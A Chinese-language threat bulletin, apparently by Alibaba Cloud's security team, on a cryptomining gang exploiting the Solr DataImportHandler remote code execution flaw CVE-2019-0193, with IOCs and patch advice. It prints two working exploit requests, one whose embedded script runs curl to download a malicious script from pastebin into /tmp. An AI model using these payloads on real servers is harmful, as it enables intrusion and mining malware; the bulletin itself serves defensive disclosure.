威胁快报|Solr dataimport成挖矿团伙新型利用方式
概述
近日,阿里云安全团队监测到挖矿团伙利用solr dataimport RCE(CVE-2019-0193)作为新的攻击方式对云上主机进行攻击,攻击成功后下载门罗币挖矿程序进行牟利。该团伙使用的恶意脚本与之前报道的“威胁预警 | watchbog挖矿蠕虫升级,利用Bluekeep RDP等多个漏洞蓄势待发”文章所提团伙使用的基本一致,因此基本认为是同一团伙所为。
除此之外,可以合理推测,该团伙一直活跃在寻找新的攻击方式来植入其恶意程序,阿里云安全团队已在第一时间对该利用方式进行了监控,并对该团伙的行为持续关注。建议用户及时排查自身主机是否受到影响,并关注阿里云安全团队的相关文章。
漏洞详情
漏洞简介
Apache Solr是开源企业搜索平台,主要包括全文搜索、动态聚类、富文本处理等功能。Remote Code Execution via DataImportHandler(CVE-2019-0193)是apache Solr在2019.8.1日披露的漏洞预警,此漏洞发生在Solr的DataImportHandler(DIH)模块中,该模块提供从数据库或其他数据源获取数据的能力。由于Solr admin默认是不需要鉴权认证的,且DIH支持脚本操作,因此可以通过构造恶意http请求,实现远程命令执行。
如下图,在solr admin中选择dataimport选项卡,由于dataimport配置支持脚本,我们可以在配置文件中写入恶意脚本,执行curl xxx.xxx.xxx.xx指令。
如下图,我们服务端收到了solr发送的http请求,证明RCE成功。
利用分析
阿里云安全团队近日监测到有攻击者尝试利用此漏洞对阿里云上主机进行入侵。其首先发送http://xx.xx.xx.xx:8983/solr/admin/cores?action=STATUS&wt=json的请求来获取solr中core的名称。
之后对这些core_name进行遍历,尝试向corename/dataimport发送如下payload进而向https://pastebin.com/raw/jjFzjCwx请求恶意脚本。
command=full-import&verbose=false&clean=false&commit=true&debug=true&core=test&dataConfig=<dataConfig>
+<dataSource+type="URLDataSource"/>
+<script><![CDATA[
+++++++++function+poc(){+java.lang.Runtime.getRuntime().exec("curl+-fsSL+https://pastebin.com/raw/jjFzjCwx+-o+/tmp/baby");
+++++++++}
+]]></script>
+<document>
+++<entity+name="stackoverflow"
+++++++++++url="https://stackoverflow.com/feeds/tag/solr"
+++++++++++processor="XPathEntityProcessor"
+++++++++++forEach="/feed"
+++++++++++transformer="script:poc"+/>
+</document>
</dataConfig>&name=dataimport
跟进https://pastebin.com/raw/jjFzjCwx此地址的恶意脚本,发现其与之前的分析的watchdog挖矿程序只有一处不同,且为非关键内容,之后的部分可以参见之前的文章。
除此之外,还有疑似发送ping命令来收集存在漏洞主机的恶意请求:
command=full-import&verbose=false&clean=false&commit=true&debug=true&core=solr&dataConfig=<dataConfig>
<dataSource type="URLDataSource"/>
<script>
<![CDATA[
function poc(row) {
var Runtime = Java.type("java.lang.Runtime");
Runtime.getRuntime().exec("ping -c 1 solr_CVE_2019_0193XfSIcGVY.awvsscan119.autoverify.cn");
return row;
}
]]></script>
</dataConfig>
漏洞影响
目前,全网使用solr组件的设备数大约在1.9w台左右,阿里云安全团队建议用户及时查看自身机器状态,防止事态进一步扩大。
IOC
- https://pastebin.com/raw/jjFzjCwx
- https://pastebin.com/raw/3FDDiNwW
- https://pastebin.com/raw/KJcZ9HLL
影响版本
- solr 8.2.0 之前版本(不包含)
- 需启用DataImportHandler模块
- solr 未启用鉴权认证或采用弱密码
安全建议
- 将solr 升级至8.2.0或更新版本(8.2.0版本之后默认不开启dataconfig参数支持)
- 设置solrconfig.xml->requestHandler->config标签内内容为空
- 与DIH相关的请求采用白名单过滤
参考文章
[1] 威胁预警 | watchbog挖矿蠕虫升级,利用Bluekeep RDP等多个漏洞蓄势待发
[2] CVE-2019-0193 Remote Code Execution via DataImportHandler
本文作者:苍珀
本文为云栖社区原创内容,未经允许不得转载。
威胁快报|Solr dataimport成挖矿团伙新型利用方式的更多相关文章
- 威胁预警|Solr velocity模板注入远程命令执行已加入watchbog武器库,漏洞修补时间窗口越来越短
概述 近日,阿里云安全团队监测到挖矿团伙watchbog更新了其使用的武器库,增加了最新Solr Velocity 模板注入远程命令执行漏洞的攻击方式,攻击成功后会下载门罗币挖矿程序进行牟利.建议用户 ...
- 威胁快报|挖矿团伙8220进化,rootkit挖矿趋势兴起
近日,阿里云安全团队发现8220挖矿团伙为了更持久的驻留主机以获得最大收益,开始使用rootkit技术来进行自我隐藏.这类隐藏技术的使用在watchdogs等挖矿蠕虫使用后开始出现逐渐扩散和进化的趋势 ...
- 威胁快报|新兴挖矿团伙借助shodan作恶,非web应用安全再鸣警钟
近日,阿里云安全发现了一个使用未授权访问漏洞部署恶意Docker镜像进行挖矿的僵尸网络团伙.我们给这一团伙取名为Xulu,因为该团伙使用这个字符串作为挖矿时的用户名. Xulu并不是第一个攻击Dock ...
- 威胁快报|Bulehero挖矿蠕虫升级,PhpStudy后门漏洞加入武器库
概述 近日,阿里云安全团队监控到Bulehero挖矿蠕虫进行了版本升级,蠕虫升级后开始利用最新出现的PHPStudy后门漏洞作为新的攻击方式对Windows主机进行攻击,攻击成功后会下载门罗币挖矿程序 ...
- Solr学习笔记之3、Solr dataimport - 从SQLServer导入数据建立索引
Solr学习笔记之3.Solr导入SQLServer数据建立索引 一.下载MSSQLServer的JDBC驱动 下载:Microsoft JDBC Driver 4.0 for SQL Server ...
- 将html页改成jsp的两种方式
将html页改成jsp的两种方式 作者: 字体:[增加 减小] 类型:转载 时间:2013-08-13 将html页改成jsp有两种方法,第一种是直接修改html文件,另一种是新建jsp文件.下面为大 ...
- Oracle字符串行拆分成列的三种方式
Oracle字符串行拆分成列的三种方式 --muphy 开发过程中经常会遇到将前台多个值用逗号连接一同传递到后台查询,这个用逗号连接的字符串分隔的每个字符串分别对应Oracle数据库表的不同行. 如下 ...
- 威胁快报|首爆新型ibus蠕虫,利用热门漏洞疯狂挖矿牟利
一.背景 近日阿里云安全团队发现了一起利用多个流行漏洞传播的蠕虫事件.黑客首先利用ThinkPHP远程命令执行等多个热门漏洞控制大量主机,并将其中一台“肉鸡”作为蠕虫脚本的下载源.其余受控主机下载并运 ...
- 威胁快报|首爆,新披露Jenkins RCE漏洞成ImposterMiner挖矿木马新“跳板”
简介 阿里云安全于近日捕获到一起使用Jenkins RCE漏洞进行攻击的挖矿事件.除挖矿外,攻击者还曾植入具有C&C功能的tsunami木马,也预留了反弹shell的功能,给用户带来极大安全隐 ...
随机推荐
- 关于如何正确打开.wlf文件
只简单说明一下保存/打开.wlf需要注意的内容. (1) 保存 在GUI界面保存时,先切换到sim窗口: 用命令行保存时,其格式为: vsim –wlf <wave_file> … (2) ...
- C++ 贪吃蛇一维
#include <iostream> #include <conio.h> #include <windows.h> #include <time.h> ...
- spring中使用RabbitMQ
常见的消息中间件产品: (1)ActiveMQ ActiveMQ 是Apache出品,最流行的,能力强劲的开源消息总线.ActiveMQ 是一个完全支持JMS1.1和J2EE 1.4规范的 JMS P ...
- 【Vue】组件的基础与组件间通信
转载:https://segmentfault.com/a/1190000016409329 Vue.js 最核心的功能就是组件(Component),从组件的构建.注册到组件间通信,Vue .x 提 ...
- Classpath in jar关于java加载第三方jar的集中方法和详细解释。
转载地址:http://www.iteye.com/topic/332580 大家都知道一个java应用项目可以打包成一个jar,当然你必须指定一个拥有main函数的main class作为你这个ja ...
- JSON关联属性转换异常
问题:FastJSON在转换对象过程中,该对象还有关联属性,该属性还是一个对象,就出现栈溢出异常,会报一下错误,解决办法:在该属性类的一边加上@JSONField(serialize=false);有 ...
- 通过aapt查看apk包名和第一个启动的activity
步骤: ps:aapt是sdk 自带的一个工具,在sdk\builds-tools目录下: 1. cmd启动控制台, 默认是c盘,输入“d:” 即可转到D盘目录 2. 到D盘后 输入cd 子文件目录转 ...
- vue组件间通信用例
父组件传值给子组件 -- 以封装公用slide组件为例 父组件 <template> <section class="banner"> <slide ...
- nvelocity的Foreach 中使用DataTable数据
原文:nvelocity的Foreach 中使用DataTable数据 tripDetailList是一个DataTable类型的数据,Logo.TripTypeName.TipTypePrice等为 ...
- sparkJavaApi逐个详解
说明:掌握spark的一个关键,就是要深刻理解掌握RDD各个函数的使用场景,这样我们在写业务逻辑的时候就知道在什么时候用什么样的函数去实现,得心应手,本文将逐步收集整理各种函数原理及示例代码,持续更新 ...